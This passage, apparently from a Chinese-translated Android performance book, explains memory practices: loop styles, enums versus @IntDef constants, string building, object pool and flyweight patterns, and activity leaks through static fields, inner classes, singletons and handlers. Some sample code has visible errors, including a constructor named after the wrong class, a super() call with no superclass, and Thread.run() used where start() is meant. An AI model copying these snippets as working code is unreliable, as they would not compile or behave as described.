        Iterator<String> iterator = list.iterator();
        while (iterator.hasNext()) {
            String stemp = iterator.next();
        }
    }

    private void whileCycle(List<String> list) {
        int j = 0;
        while (j < list.size()) {
            String stemp = (String) list.get(j);
            j++;
        }
    }

    private void forCycle(List<String> list) {
        for (int i = 0; i < list.size(); i++) {
            String stemp = (String) list.get(i);
        }
    }

    private List createArray(int length) {
        String sArray[] = new String[length];
        for (int i = 0; i < length; i++)
            sArray[i] = "Array " + i;
        return Arrays.asList(sArray);
    }
}

我们使用不同数量的列表项测试了循环的性能十次,并平均了这些测量结果。《图 3》展示了这些测量的结果。

集合

图 3:循环测量内存统计结果

结果可能会受到许多不同因素的影响:内存、CPU、设备上运行的应用程序等等。但我们感兴趣的是找到这些循环的平均性能。从图表中显而易见的是,Iterator循环类型是最慢的,而for循环在我们的测量中始终是最快的。

那么,创建for循环只有一种方法吗?不,有多种选择。让我们看看它们:

private void classicCycle(Dummy[] dummies) {
    int sum = 0;
    for (int i = 0; i < dummies.length; ++i) {
        sum += dummies[i].dummy;
    }
}

private void fasterCycle(Dummy[] dummies) {
    int sum = 0;
    int len = dummies.length;
    for (int i = 0; i < len; ++i) {
        sum += dummies[i].dummy;
    }
}

private void enhancedCycle(Dummy[] dummies) {
    int sum = 0;
    for (Dummy a : dummies) {
        sum += a.dummy;
    }
}

第一个案例是最慢的,因为在每个周期中都需要进行数组长度计算,这增加了额外的成本,因为即时编译每次都需要转换它。第二个案例通过只计算一次长度来避免这个成本,而最后一个案例是 Java 5 引入的增强的for循环语法,这是使用for循环进行索引的最快方式。

注意

增强的for循环语法是遍历数组的最快方式,即使设备具有即时编译,因此每次处理数组迭代时都应考虑使用它,并尽可能避免使用iterator对象的迭代,因为这是最慢的。

枚举

枚举对开发者来说非常方便:有限数量的元素、描述性的名称,从而提高了代码的可读性。它们还支持多态。因此,它们在我们的代码中被广泛使用。但从性能角度来看,它们真的好吗?枚举的主要替代品是声明公开可访问且静态的整数。例如,让我们看一下以下代码段:

public enum SHAPE {
    RECTANGLE, 
    TRIANGLE, 
    SQUARE, 
    CIRCLE
}

这可以被以下代码替换:

public class SHAPE {
    public static final int RECTANGLE = 0;
    public static final int TRIANGLE = 1;
    public static final int SQUARE = 2;
    public static final int CIRCLE = 3;
}

现在,从内存的角度来看,哪一个成本更高?这个问题的答案有两方面:我们可以检查为我们的应用程序生成的 DEX 大小,这会影响在执行时使用枚举或整数值时的堆内存使用情况。

我们的示例枚举被转换成四个对象分配,其中String表示名称,integer值作为序号,以及数组和一个包装类。相比之下,类的实现较轻量,因为它只需分配四个整数值,从而在内存上节省了大量空间。

更糟糕的是,枚举需要在应用程序使用的每个进程中复制,因此在多进程应用程序中,其成本会增加。

对于枚举的经典用法,需要使用switch...case语句,所以让我们使用我们的枚举来查看它:

public void calculateSurface(SHAPE shape) {
    switch (shape) {
        case RECTANGLE:
            //calculate rectangle surface
            break;
        case TRIANGLE:
            //calculate triangle surface
            break;
        case SQUARE:
            //calculate square surface
            break;
        case CIRCLE:
            //calculate circle surface
            break;
    }
}

现在,让我们使用整数值更改之前的代码:

public void calculateSurface(int shape) {
    switch (shape) {
        case RECTANGLE:
            //calculate rectangle surface
            break;
        case TRIANGLE:
            //calculate triangle surface
            break;
        case SQUARE:
            //calculate square surface
            break;
        case CIRCLE:
            //calculate circle surface
            break;
    }
}

这种代码更改非常简单。因此,我们应该考虑计划重新格式化我们的代码,以减少或移除使用的枚举,这是基于我们之前的推理。

安卓提供了一个有用的注解,以简化从枚举到整数值的过渡:@IntDef。这个注解可以用来通过以下方式使用flag属性启用多个常量:

@IntDef(flag = true, 
        value = {VALUE1, VALUE2, VALUE3})
public @interface MODE {
}

这个注解表示可能的值是注解内部指定的那些值。例如,让我们将整数值更改为使用注解,并将这些值转换为类似枚举的东西,同时避免所有内存性能问题:

public static final int RECTANGLE = 0;
public static final int TRIANGLE = 1;
public static final int SQUARE = 2;
public static final int CIRCLE = 3;

@IntDef({RECTANGLE, TRIANGLE, SQUARE, CIRCLE})
public @interface Shape {
}

现在,要在我们的代码中使用它,只需在你期望有Shape值的地方指定新的注解:

public abstract void setShape(@Shape int mode);

@Shape
public abstract int getShape();

提示

枚举由于它们不必要的分配,影响整体内存性能。因此,尽量避免使用它们,尽可能用 static final 整数替换。然后创建自己的注解,像使用枚举一样使用这些整数值,以限制值的数量。

在某些情况下,你可能无法移除枚举。然而,可以通过增强 Proguard 来减少枚举对应用程序内存性能的影响。参考第十章,性能技巧,了解更多关于这个话题的信息。

常量

通常,我们需要一个与类特定实例无关的变量,但它被整个应用程序使用。是的,我们说的是静态变量。它们在许多情况下都很有用。但系统是如何管理它们的呢?这背后有什么内存影响?让我们退一步,谈谈编译器在执行期间如何处理静态变量。Java 编译器中有一个特殊的方法叫做<clinit>。顾名思义,它处理类的初始化,但它只用于变量和静态代码块,并按照它们在类中的顺序进行初始化。它从类的超类和接口开始执行,一直到类本身。因此,我们的静态变量在应用程序启动时就被初始化了。

如果静态变量也是 final 的,那就另当别论了:在这种情况下,它们不是由<clinit>方法初始化的,而是存储在 DEX 文件中,具有双重好处。它们既不需要更多的内存分配,也不需要分配内存的操作。这只适用于基本类型和字符串常量,所以对于对象来说没有必要这样做。

提示

代码中的常量应该是 static 和 final 的,以便利用内存节省,并避免在 Java 编译器的<clinit>方法中进行初始化。

对象管理

让我们探讨一个更高阶的 Java 话题,涵盖正确管理对象和一些避免内存陷阱的做法。

让我们从一些看似平凡却并不简单的事情开始:注意不要实例化不必要的对象。我们对此从不厌倦重复。内存分配是昂贵的,同样,释放内存也是:系统为其分配内存,垃圾收集的界限会更快达到,众所周知,这将从内存可用性到用户体验的延迟,整体降低应用程序的性能。

提示

每个开发者都应该知道并完成代码中清理不必要对象的任务。这方面没有绝对的规定:只要记住,几个有用的对象比大量很少使用的对象在内存上更安全。

尽量创建较少的临时对象,因为它们经常被垃圾收集,避免实例化不必要的对象,因为它们对内存和计算性能来说是昂贵的。

以下几页内容提供了简单实践,以尽可能限制我们应用程序的内存消耗,避免出现延迟。接下来几段,我们将讨论 Java 的对象管理技术,稍后我们会介绍与 Android 相关的方法论。不过,这些内容与 Android 开发者的常见情况有关。

字符串

String对象是不可变的。以这种方式实例化字符串,你将强制分配两个不同的对象:

String string = new String("example");

这两个对象如下所示:

  • String "example"本身就是一个对象,其内存必须被分配

  • 新的String string

因此,另一种初始化String对象的方式对内存性能来说更为合适:

String string = "example";

字符串拼接

通常,我们在操作字符串时,不会考虑内存使用后果。有人可能会认为,当我们需要拼接两个或更多字符串时,以下代码片段对内存性能是有好处的,因为它没有使用更多的对象分配:

String string = "This is ";
string += "a string";

然而,对于这类操作,StringBufferStringBuilderString类更有效率,因为它们是基于字符数组工作的。因此,为了更好的执行效率,前面的代码片段应该改为如下形式:

StringBuffer stringBuffer = new StringBuffer("This is ");
stringBuffer.append("a string");

如果你经常进行字符串拼接操作,这种方式是可取的,但也可以作为一项始终遵循的好习惯,因为与字符串拼接相比,StringBufferStringBuilder的效率更高。记住StringBufferStringBuilder之间的区别:前者是线程安全的,因此速度较慢,但可以在多线程环境中使用;而StringBuilder不是线程安全的,因此速度更快,但只能在单线程中使用。

另外需要注意的是,StringBuilderStringBuffer的初始容量都是 16 个字符,当它们因容量满而需要增加时,会实例化并分配一个容量加倍的新对象,而旧对象则等待下一次垃圾回收。为了避免这种不必要的内存浪费,如果你知道自己要处理的字符串容量的估计值,可以通过指定不同的初始容量来实例化StringBufferStringBuilder

StringBuffer stringBuffer = new StringBuffer(64);
stringBuffer.append("This is ");
stringBuffer.append("a string");
stringBuffer.append…

这样,如果字符串容量低于 64 个字符,就不需要重新创建对象,且在它不再被引用之前不会被回收。

局部变量

查看我们的代码,有时我们会注意到,在方法的整个执行过程中,一个对象没有被修改就被使用了。这意味着它可以被移出方法外部,这样它只需分配一次且不会被回收,从而改善内存管理。例如,下面的代码就建议这样做:

public String format(Date date) {
    DateFormat dateFormat = new SimpleDateFormat("yyyy-MM- dd'T'HH:mm:ss.SSSZ");
    return dateFormat.format(date);
}

在此情况下,DateFormat对象无需在每次方法执行时都进行实例化。此外,每次都会分配一个新对象,并且在垃圾收集器达到限制之前不会被收集,这期间会不必要的占用内存。将这个对象从方法中提取出来,并使其可以从外部访问,这样它只需实例化一次,并且在class对象的生命周期内都可以使用,这将好得多。整体性能的提升将来自于在需要DateFormat.format()方法调用的多个地方重用一个单一对象。然后,可以使用以下解决方案:

private DateFormat dateFormat = new SimpleDateFormat("yyyy-MM- dd'T'HH:mm:ss.SSSZ");

public String format(Date date) {
    return dateFormat.format(date);
}

通常,有许多不同的场合需要处理可以提取的局部变量,并且有许多不同的解决方案:由你决定哪个最适合你的代码。

数组与集合

集合可以根据需要自动扩大或缩小,并提供许多有用的方法来添加、移除、获取、更改和移动对象,以及其他很酷的功能。这是有高昂代价的。如果你处理的对象数量是固定的,原始数组比集合在内存上更有效率。bigocheatsheet.com网站对数组和集合之间的成本比较进行了更深入的分析。为此,使用了大 O 表示法:它描述了算法与数组/集合元素数量增长的趋势。

在处理 Java 的 I/O 流对象时,一个常见的错误是没有适当地释放和回收它们,或者根本不释放,这显然会导致内存泄漏。请记住,每次都要释放它们,因为这个错误可能会影响整体性能。让我们看看以下示例代码:

InputStream is = null;
OutputStream os = null;
try {
    is = new FileInputStream("../inputFile.txt");
    os = new FileOutputStream("../outputFile.txt");
} catch (FileNotFoundException e) {
    e.printStackTrace();
} finally {
    try {
        if (is != null)
            is.close();
        if (os != null)
            os.close();
    } catch (IOException e) {
    }
}

前述的释放代码是错误的。许多开发者使用它,但仍然存在内存泄漏的源头。如果在关闭InputStream时抛出异常,OutputStream将不会被关闭并且仍然被引用,导致前面提到的内存泄漏。以下代码段展示了如何正确处理它:

InputStream is = null;
OutputStream os = null;
try {
    is = new FileInputStream("../inputFile.txt");
    os = new FileOutputStream("../outputFile.txt");
} catch (FileNotFoundException e) {
    e.printStackTrace();
} finally {
    try {
        if (is != null)
            is.close();
    } catch (IOException e) {
         e.printStackTrace();
    }
    try {
        if (os != null)
            os.close();
    } catch (IOException e) { 
         e.printStackTrace();
    }
}

通常,你应该在try...catch语句中使用finally关键字来释放资源和内存,并且分别关闭每个可关闭的对象。

内存模式

在本节中,我们将看看一些有用的设计模式,如果妥善处理,它们可以减少内存抖动(churn)的风险,或者限制用于对象的内存。它们的目的是减少如果大量使用对象时的内存分配。它们也减少了垃圾收集器的调用。是否使用它们取决于具体情况、需求和开发者的专业知识。它们可能非常有用,但如果你使用它们,你一定要注意可能引入的内存泄漏,这可能会抵消它们使用的效果。

对象池模式

在创建型设计模式中,对象池模式对于重用已分配的对象非常有帮助,从而避免内存抖动及其可能对应用程序性能造成的影响。当我们处理昂贵的创建对象并且需要创建很多这样的对象时,它特别有用。

这背后的想法是为了避免对将来可能需要重用的对象进行垃圾回收,以及节省创建它的时间。为此,一个名为ObjectPool的对象管理许多可重用对象,使它们对请求者可用。这些请求对象被称为客户端。因此,这个模式处理三种类型的对象:

  • 可重用对象:这些是可供客户端使用并由池管理的对象。

  • 客户端:这是需要一个可重用对象来完成某些操作的对象,因此它必须向池请求,并在操作完成后返回它。

  • 对象池:这保存了每个可重用对象,以便提供和回收每一个。

对象池应该是单例对象,以便集中管理所有可重用对象,避免不同池之间的混乱交换,并确保每个可重用对象的创建都有正确且一致的政策方法。

池可以对其包含的对象数量设置上限。这意味着,如果客户端请求一个可重用对象而池已满且没有空闲的可重用对象,服务请求将被延迟,直到另一个对象从另一个客户端释放出来。图 4展示了一个流程图,解释了当客户端需要一个对象时会发生什么:

对象池模式

图 4:对象池流程图

暂停一下查看图表,我们可以看到每个客户端在不再需要时立即返回对象是多么重要:当达到限制时,池无法创建新的可重用对象,客户端将无限期等待,阻塞所有执行。因此,我们需要确保每个客户端都有这种行为。从客户端的角度来看,使用池只是通过添加返回已使用对象的这一特定行为来改变其行为。同时,它还需要意识到有时候池无法返回对象,因为那一刻没有任何对象可用:这时,它需要处理这种特定异常情况。

另外需要注意的一点是,刚刚使用过的对象在传递给另一个请求的客户端之前,应该恢复到一个特定的稳定状态,以保持对象的清洁管理:客户端不知道获取到的对象已经被另一个客户端使用过,不能以可能导致意外行为的状态接收对象。这也可能导致内存泄漏,如果可重用对象引用了在客户端释放后仍然被引用的其他对象。因此,在大多数情况下,可重用对象应该被恢复到就像刚刚创建时的状态。

如果这种模式需要在多线程环境中使用,那么必须以线程安全的方式进行实现,以避免对池中对象的并发修改。

当首次使用对象池时,它是空的,每次客户端需要一个可重用对象时,都会从头开始创建。因此,对于新创建的对象,在分配上会有延迟。在某些情况下,如果这符合你的策略,可以在创建池的时候预先分配一定数量的对象,以节省未来访问的时间。

让我们快速了解一下这种模式的简单代码实现。以下是ObjectPool的代码:

public abstract class ObjectPool<T> {
    private SparseArray<T> freePool;
    private SparseArray<T> lentPool;
    private int maxCapacity;

    public ObjectPool(int initialCapacity, int maxCapacity) {
        initialize(initialCapacity);
        this.maxCapacity = maxCapacity;
    }

    public ObjectPool(int maxCapacity) {
        this(maxCapacity / 2, maxCapacity);
    }

    public T acquire() {
        T t = null;
        synchronized (freePool) {
            int freeSize = freePool.size();
            for (int i = 0; i < freeSize; i++) {
                int key = freePool.keyAt(i);
                t = freePool.get(key);
                if (t != null) {
                    this.lentPool.put(key, t);
                    this.freePool.remove(key);
                    return t;
                }
            }
            if (t == null && lentPool.size() + freeSize < maxCapacity) {
                t = create();
                lentPool.put(lentPool.size() + freeSize, t);
            }
        }
        return t;
    }

    public void release(T t) {
        if (t == null) {
            return;
        }
        int key = lentPool.indexOfValue(t);
        restore(t);
        this.freePool.put(key, t);
        this.lentPool.remove(key);
    }

    protected abstract T create();

    protected void restore(T t) {

    }

    private void initialize(final int initialCapacity) {
        lentPool = new SparseArray<>();
        freePool = new SparseArray<>();
        for (int i = 0; i < initialCapacity; i++) {
            freePool.put(i, create());
        }
    }
}

我们使用了两个稀疏数组来保存对象集合,并防止这些对象在借出时被回收。我们为池定义了初始容量和最大容量:这样,如果有太多的请求需要处理,可以创建新对象直到达到最大容量或满足所有请求。我们将对象的创建委托给具体类或直接实现,以使其具有更大的灵活性。两个公共方法是ObjectPool.acquire()ObjectPool.release():客户端可以使用它们来请求预先分配的对象,并将对象返回给池。

Apache Commons 内部有一个ObjectPool接口,其中包含一些有用的实现。这个类为客户端使用的方法使用了不同的名称:它们是ObjectPool.borrowObject()ObjectPool.returnObject(),并且增加了一个特殊的方法ObjectPool.close(),在完成使用后释放池的内存。

也许不是每个人都了解这种模式,但在日常开发中它被广泛使用:AsyncTask工作线程的执行和RecyclerView的回收视图都是这种模式使用的例子。这并不意味着我们应在任何情况下都使用它。由于其陷阱,应该谨慎使用,但在某些情况下它确实非常有帮助。

注意

当我们的代码需要分配很多昂贵的实例对象时,我们可以使用ObjectPool来限制垃圾回收并避免内存波动。在所有其他情况下,经典的垃圾回收足以处理我们对象的生命周期。如果我们决定使用这种模式,我们需要谨慎使用,因为我们有责任从客户端释放每个对象,并恢复重用对象的起始状态以避免内存泄漏。如果是在多线程环境中,我们也需要确保以线程安全的方式进行。

FlyWeight 模式。

许多开发者将对象池模式与 FlyWeight 模式混淆,但它们有不同的范围:对象池的目标是减少在有很多非常昂贵的对象的环境中分配和垃圾回收的影响,而 FlyWeight 模式的目标是通过保存所有对象共享的状态来减少内存负载。因此,我们将考虑客户端请求的对象的两种状态:

  • 内部状态:这是由标识对象的字段组成,并且不与其他对象共享。

  • 外部状态:这是在所有交换对象之间共享的字段集合。

所以,FlyWeight 模式所做的就是通过为所有对象创建一个实例来重用它们的内部状态,从而节省了复制它的成本。

图 5展示了这种模式的流程图:

FlyWeight 模式

图 5:FlyWeight 模式的流程图

在这个模式中,有三个参与者:

  • FlyWeightObjects:它们可以改变内部状态并访问内部对象。

  • FlyWeightFactory:当客户端请求时,它创建FlyWeightObjects,并管理它们的内部状态。它还可以负责存储一个FlyWeightObject池,以便借给客户端使用。

  • Clients:它们请求FlyWeightObjects并可以改变它们的内部状态。

然后,有一个FlyWeightObjects池,但这次没有借用。当不再引用FlyWeight对象时,与FlyWeight对象相关的内存将被垃圾回收释放,就像在经典的 Java 案例中一样。

让我们看看这个模式的代码。我们需要一个接口来定义FlyWeightObjects的方法:

public interface Courier<T> {
    void equip(T param);
}

然后,我们需要至少实现一次我们的接口:

public class PackCourier implements Courier<Pack> {
    private Van van;

    public PackCourier(int id) {
        super(id);
        van = new Van(id);
    }

    public void equip(Pack pack) {
        van.load(pack);
    }
}

这次的客户端是一个对象,它将接口的实现作为其状态的一部分:

public class Delivery extends Id {
    private Courier<Pack> courier;

    public Delivery(int id) {
        super(id);
        courier = new Factory().getCourier(0); 
    }

    public void deliver(Pack pack, Destination destination) {
        courier.equip(pack);
    }
}

如你所见,DeliveryFactory请求Courier并加入了对象状态。但让我们看看Factory

public class Factory {
    private static SparseArray<Courier> pool;

    public Factory() {
        if (pool == null)
            pool = new SparseArray<>();
    }

    public Courier getCourier(int type) {
        Courier courier = pool.get(type);
        if (courier == null) {
            courier = create(type);
            pool.put(type, courier);
        }
        return courier;
    }

    private Courier create(int type) {
        Courier courier = null;
        switch (type) {
            case 0:
                courier = new PackCourier(0);
        }
        return courier;
    }
}

Factory持有已定义的快递员稀疏数组。请注意,每种类型的实例不会超过一个。然后每次创建新的Delivery时,Factory会为它提供相同的Courier对象。因此,它将被共享,在这种情况下,每个Delivery都将由同一个Courier完成,如下面的代码段所示:

for (int i = 0; i < DEFAULT_COURIER_NUMBER; i++) {
    new Delivery(i).deliver(new Pack(i), new Destination(i));
}

安卓组件泄漏

在下一节中,我们将关注一些特别讨厌的内存泄漏,而我们经常没有意识到它们。在处理主要组件时,内存泄漏对应用程序的整体性能有着重要影响:如果我们了解如何避免它们,并且对这些细节非常小心,我们将看到应用程序响应性的显著提高。

活动

活动是 Android 应用程序中最常用的组件,并且是唯一具有用户界面的组件。活动和每个包含的视图之间存在强引用。这使得它们特别容易受到内存泄漏的影响。

活动相关的内存泄漏有很多种,让我们一一对付它们,记住我们必须避免所有这些情况,以使我们的应用程序有一个快速的环境。

当不再有引用时,保留活动在内存中是非常昂贵的。它引用了很多其他对象,如果活动本身不能被回收,这些对象也不能被回收。此外,活动在应用程序的生命周期中可能会被销毁和重新创建多次,这可能是由于配置更改或内存回收。如果活动被泄漏,它的每个实例可能会无限期地存储在内存中,这对内存的影响是极其昂贵的。因此,这是我们在代码中可能犯的最严重的错误:永远不要泄漏活动。但活动是如何被泄漏的呢?你会惊讶于这是多么容易。请记住,当特定事件发生时,系统会为你销毁和创建活动,比如配置更改。在了解如何避免常见错误之前,先来看一些简单的提示:

提示

寻找内存泄漏要比找出其原因容易得多。但它们大多数都与静态类有关,既有带有活动依赖的静态字段,也有单例模式。当你寻找活动的内存泄漏时,首先检查静态字段是否对活动本身有引用。然后,如果这还不够,找出你在活动代码中所有使用this关键字的地方,因为实例可以用不同的方式使用,可能会对生命周期更长的对象的强引用。

为了避免活动泄漏,通常的一个规则是,当我们不需要特定的活动方法时,可以通过调用Context.getApplicationContext()方法来使用应用上下文而不是活动本身:这使用的是一个肯定在应用程序结束前不需要被回收的对象,因为它就是应用程序本身。

静态字段

静态字段真的很危险:它们可以引用活动或/和其他对象,导致我们大多数的内存问题。众所周知,静态对象的寿命与应用程序的寿命相匹配,这意味着它只有在最后才能被回收。例如,如果我们在代码中声明一个静态View,只要它不为 null,它就会泄漏其活动,因为每个视图都持有对其自身活动的引用。以下代码显示了一个典型的情况:

public class MainActivity extends Activity {
private static View view;

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);
    view = findViewById(R.id.textView);
}
}

当调用Activity.setContentView()方法时,布局 XML 文件中的每个View都使用Activity类作为Context的引用来实例化。看看它的构造函数:

public View(Context context) {
    super(context);
}

public View(Context context, AttributeSet attrs) {
    super(context, attrs);
}

public View(Context context, AttributeSet attrs, int defStyleAttr) {
    super(context, attrs, defStyleAttr);
}

public View(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
    super(context, attrs, defStyleAttr, defStyleRes);
}

无论View是如何实例化的:它都需要引用Activity类,因此如果将View声明为static字段,就会发生内存泄漏。这不仅仅与视图有关,任何引用Activity的对象都可能发生这种情况。此外,这可以扩展到被视图引用的对象:背景Drawable强引用它的View,而View又强引用Activity。这意味着以下代码与之前的代码有同样的副作用,即使这次View是非静态的,活动泄漏仍然会发生:

public class MainActivity extends Activity {
private static Drawable drawable;

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);
    View view = findViewById(R.id.textView);
    view.setBackground(drawable);
}
}

有人可能会认为,在活动生命周期即将结束时,例如在Activity.onStop()或者在Activity.onDestroy()回调中,将视图设置为 null 可以更容易地解决这个问题,但这可能导致如果创建时的实例化处理不当,会引发NullPointerException,使得这个解决方案变得危险。简单来说,避免使用静态变量以避免前面提到的内存泄漏。

非静态内部类

非静态内部类在 Android 中被广泛使用,因为它们允许我们访问外部类的字段,而无需直接传递其引用。然后,很多时候 Android 开发者为了节省时间,不考虑对内存性能的影响而添加内部类。让我们创建一个内部类来说明在这种情况下会发生什么:

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        new MyAsyncTask().execute();
    }

    private class MyAsyncTask extends AsyncTask {

        @Override
        protected Object doInBackground(Object[] params) {
            return doSomeStuff();
        }

        private Object doSomeStuff() {
            //do something to get result
            return new Object();
        }
    }
}

一个简单的AsyncTaskActivity启动时创建并执行。但内部类需要在其整个生命周期内访问外部类,因此每次Activity被销毁,但AsyncTask仍在工作时,都会发生内存泄漏。这不仅仅是在调用Activity.finish()方法时发生,即使Activity由于配置更改或内存需求被系统强制销毁后再次创建时也会发生。AsyncTask持有对每个Activity的引用,在它被销毁时使其不能被垃圾回收。

考虑一下如果用户在任务运行时旋转设备会发生什么:整个Activity实例需要一直可用,直到AsyncTask完成。此外,大多数时候我们希望AsyncTask通过AsyncTask.onPostExecute()方法将结果显示在屏幕上。这可能导致崩溃,因为当任务仍在运行时Activity被销毁,视图引用可能为空。

那么这个问题的解决方案是什么呢?如果我们把内部类设置为static,我们就无法访问外部类,因此我们需要提供对该外部类的引用。为了增加两个实例之间的分离,并让垃圾收集器正确处理Activity,我们使用弱引用来实现更干净的内存管理。之前的代码改为如下形式:

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState); 
        new MyAsyncTask(this).execute();
    }

    private static class MyAsyncTask extends AsyncTask {
        private WeakReference<MainActivity> mainActivity;

        public MyAsyncTask(MainActivity mainActivity) {
            this.mainActivity = new WeakReference<>(mainActivity);
        }

        @Override
        protected Object doInBackground(Object[] params) {
            return doSomeStuff();
        }

        private Object doSomeStuff() {
            //do something to get result
            return new Object();
        }

        @Override
        protected void onPostExecute(Object o) {
            super.onPostExecute(o);
            if (mainActivity.get() != null){
                //adapt contents
            }
        }
    }
}

这样,类被分离,一旦不再使用Activity就可以立即回收,AsyncTask对象在WeakReference对象中找不到Activity实例,也就不会执行AsyncTask.onPostExecute()方法的代码。

我们在示例中使用了AsyncTask,但我们可以在Activity.onDestroy()方法中取消它,但这只是使用非静态内部类可能发生的情况的一个例子。例如,以下代码将因内部类非静态且对MainActivity持有强引用而导致同样的问题:

public class MainActivity extends Activity {
    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState); 
        new MyTask(this).run();
    }

    private class MyTask {
        private MainActivity mainActivity;

        public MyAsyncTask(MainActivity mainActivityOld) {
            this.mainActivity = mainActivityOld;
        }

        protected void run() {
            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        wait(2000);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    mainActivity.runOnUiThread(new Runnable() {
                        @Override
                        public void run() {
                            textView.setText("Done!");
                        }
                    });
                }
            }).run();
        }
    }
}

作为一种通用良好的实践,当处理线程时,即使线程不是一个内部类,也请使用比Activity更弱的引用。

单例模式

众所周知,singleton是在整个应用程序生命周期内只能实例化一次的对象。这有助于避免数据重复,与代码中的多个对象共享数据,以及全局访问。但是,我们需要注意singleton所引用的内容,因为它的生命周期很长。如果在singleton中使用Activity的引用并且不释放它,那么它将在应用程序结束时泄漏。这可以应用于任何其他类型的对象,但众所周知,Activity泄漏特别可怕,我们想先关注这个问题。

让我们看一下以下代码,它代表了一个带有接口的Singleton类:

public class Singleton {
    private static Singleton singleton;
    private Callback callback;

    public static Singleton getInstance() {
        if (singleton == null)
            singleton = new Singleton();
        return singleton;
    }

    public Callback getCallback() {
        return callback;
    }

    public void setCallback(Callback callback) {
        this.callback = callback;
    }

    public interface Callback {
        void callback();
    }
}

现在,让我们看看Activity的代码:

public class MainActivity extends Activity implements Singleton.Callback {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Singleton.getInstance().setCallback(this);
    }

    @Override
    public void callback() {
        //doSomething
    }
}

在这种情况下,Singleton对象将持有对MainActivity的引用,直到它被销毁,然后直到应用程序被销毁。在这种情况下,当需要释放MainActivity时,移除引用非常重要。然后,之前的MainActivity代码可以改为如下形式:

public class MainActivity extends Activity implements Singleton.Callback {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Singleton.getInstance().setCallback(this);
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        Singleton.getInstance().setCallback(null);
    }

    @Override
    public void callback() {
        //doSomething
    }
}

否则,我们可以采用上一个示例中的同样解决方案:如果在singleton中的回调使用WeakReference,那么在需要时可以回收Activity。这个解决方案将代码改为如下形式:

public class Singleton {
    private static Singleton singleton;
    private WeakReference<Callback> callback;

    public static Singleton getInstance() {
        if (singleton == null)
            singleton = new Singleton();
        return singleton;
    }

    public Callback getCallback() {
        return callback.get();
    }

    public void setCallback(Callback callback) {
        this.callback = new WeakReference<Callback>(callback);
    }

    public interface Callback {
        void callback();
    }
}

匿名内部类

类或接口在类中的特化遇到了与非静态内部类和单例情况相同的问题:匿名内部类需要保存外部类,然后会泄露它。让我们看看以下代码段:

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Singleton.getInstance().setCallback(new Singleton.Callback() {

            @Override
            public void callback() {
                //doSomething
            }
        });
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
    }
}

这段代码与之前的单例示例相同,但Activity没有实现Callback接口,而是作为匿名内部类实例化。正如所提到的,这仍然是一个问题,之前讨论的解决方案仍然有效。

处理器(Handlers)

与迄今为止讨论的所有泄露相关的一个问题是Handler泄露。这很隐蔽,因为不是那么明显。幸运的是,Lint 检查会对此发出警告。所以,检查你的代码来找出这个问题。Handler对象可以使用Handler.postDelayed()方法执行延迟代码,这就是问题所在。看看以下代码段:

public class MainActivity extends Activity {
    private Handler handler = new Handler();
    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        textView = (TextView) findViewById(R.id.textView);
        handler.postDelayed(new Runnable() {

            @Override
            public void run() {
                textView.setText("Done!");
            }
        }, 10000);
    }
}

Handler对象将其Runnable接口发送给LooperThread直到执行完毕。我们知道,匿名内部类持有对外部类的引用,在我们的例子中就是Activity,因此会导致活动泄露。但LooperThread有一个消息队列用来执行Runnable。即使我们的 Handler 没有发送延迟消息,仅仅是因为需要更改 UI(我们知道只有主线程才能执行这些更改,因此我们使用Handler对象在主线程上执行它们),如果队列很大,也可能会发生内存泄露。因此,像匿名内部类一样,我们将这个类导出为static,并将对TextView的引用传递进去,因为它是static的,所以无法再访问它了:

public class MainActivity extends Activity {
    private Handler handler = new Handler();
    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState); 
        handler.postDelayed(new MyRunnable(textView), 10000);
    }

    private static class MyRunnable implements Runnable {
        private TextView textView;

        public MyRunnable(TextView textView) {
            this.textView = textView;
        }

        @Override
        public void run() {
            textView.setText("Done!");
        }
    }
}

我们摆脱泄露了吗?不幸的是,没有。TextView仍然持有对容器Activity的引用,因为它是视图并且仍然被引用。因此,让我们对内部类使用找到的第二个解决方案,使用WeakReference来存储TextView

public class MainActivity extends Activity {
    private Handler handler = new Handler();
    private TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState); 
        handler.postDelayed(new MyRunnable(textView), 10000);
    }

    private static class MyRunnable implements Runnable {
        private WeakReference<TextView> textViewRef;

        public MyRunnable(TextView textView) {
            this.textViewRef = new WeakReference<TextView>(textView);
        }

        @Override
        public void run() {
            if (textViewRef.get() != null)
                textViewRef.get().setText("Done!");
        }
    }
}

这样,当需要时,活动可以被正确地回收,不会发生泄露。但对于这段代码还有一个改进点:可能有助于从队列中移除每条消息。这样,我们可以确保队列被清理,Activity可以被销毁,当Activity不再可用时,Runnable对象中的代码不会被执行:

@Override
protected void onDestroy() {
    super.onDestroy();
    handler.removeCallbacksAndMessages(null);
}

服务(Services)

服务在第五章 多线程 中有深入讨论,但我们要了解服务在应用程序正常生命周期中如何影响内存性能。系统使用具有最近最少使用LRU)模式的缓存来存储活动进程,这意味着它可以强制关闭之前使用的进程,保留最新的进程。那么,每次我们保持一个不再使用的服务活动时,我们不仅与服务产生了内存泄漏,还阻止了系统清理堆栈以插入新进程。因此,适当关注刚完成后台工作服务的关闭和释放非常重要。

